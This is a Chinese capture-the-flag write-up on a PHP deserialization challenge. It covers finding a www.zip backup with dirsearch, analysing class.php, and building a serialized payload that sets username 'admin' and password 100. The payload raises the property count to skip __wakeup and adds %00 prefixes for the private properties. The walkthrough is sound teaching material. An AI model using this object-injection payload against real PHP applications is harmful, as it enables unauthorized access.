提示有备份文件,用dirsearch爆破,发现www.zip文件。
里面还挺多东西的
class.php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
应该和反序列化有关。
分析, class.php里__construct构造函数和__destruct()析构函数(析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行),__wakeup函数 该漏洞分析参考
大概思路通过反序列化来执行__destruct()中的echo $flag得flag,有两个条件需要满足用户名为admin,密码为100。序列化使得password=100,username=admin
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
绕过__wakeup函数,数字2表示的就是Name类存在2个属性,绕过将2改成3。__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
因为是private声明,我们需要在类名和字段名前面都会加上\0的前缀,看别人的wp了解在url栏中会出现\0有空白符,复制的时候会丢失,所以加上%00。